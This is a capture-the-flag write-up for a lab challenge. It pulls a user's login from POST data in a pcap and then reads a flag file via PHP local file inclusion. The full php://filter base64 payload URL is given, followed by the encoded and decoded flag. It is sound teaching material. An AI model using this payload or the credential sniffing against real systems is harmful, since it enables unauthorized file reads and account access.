We're given a URL and a pcap file, being told that we have captured some traffic from "Jake".
First thing we need to do is open the pcap in Wireshark. If we've captured traffic, hopefully it will include the username and password.
Once in Wireshark we filter by http
We're looking for POST requests, and more specifically, the data the contain. There are two in the screenshot above, the first one contains the following:
Unfortunately when we try this it doesn't work, so we see if the second one contains anything useful:
It seems Jake had made a typo and not capitalised the first character in his password, this one works!
Once logged in it's time to look around. We were told to see if we can get to /home/jake/flag.txt, this is clearly a local file, so we need to check for local file inclusion techniques. There is a file upload within the recipes which seems lucrative however this isn't the way we managed to do it, we eventually managed to export the local file over base64 via the following URL:
<base_URL>/<page>.php?page=php://filter/convert.base64-encode/resource=/home/jake/flag.txt
This printed out the following:
CgoKCiAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgX18KICAgICAgICAgICAgICAgICAgLyBcLS0uLl9fX18KICAgICAgICAgICAgICAgICAgIFwgXCAgICAgICBcLS0tLS0sLCwuLgogICAgICAgICAgICAgICAgICAgIFwgXCAgICAgICBcICAgICAgICAgXC0tLCwuLgogICAgICAgICAgICAgICAgICAgICBcIFwgICAgICAgXCAgICAgICAgIFwgICwnCiAgICAgICAgICAgICAgICAgICAgICBcIFwgICAgICAgXCAgICAgICAgIFwgYGAuLgogICAgICAgICAgICAgICAgICAgICAgIFwgXCAgICAgICBcICAgICAgICAgXC0nJwogICAgICAgICAgICAgICAgICAgICAgICBcIFwgICAgICAgXF9fLCwtLScnJwogICAgICAgICAgICAgICAgICAgICAgICAgXCBcICAgICAgIFwuCiAgICAgICAgICAgICAgICAgICAgICAgICAgXCBcICAgICAgLC8KICAgICAgICAgICAgICAgICAgICAgICAgICAgXCBcX18uLi0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwgXCAgICAgcGFjdGZ7bTB0ZWxfS2FMaWZvcm4xYX0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCBcCgoK
Which looked like:
When this was decoded from base64, we got the following:
__
/ \--..____
\ \ \-----,,,..
\ \ \ \--,,..
\ \ \ \ ,'
\ \ \ \ ``..
\ \ \ \-''
\ \ \__,,--'''
\ \ \.
\ \ ,/
\ \__..-
\ \
\ \ pactf{m0tel_KaLiforn1a}
\ \
\ \
\ \
\ \
\ \
\ \
\ \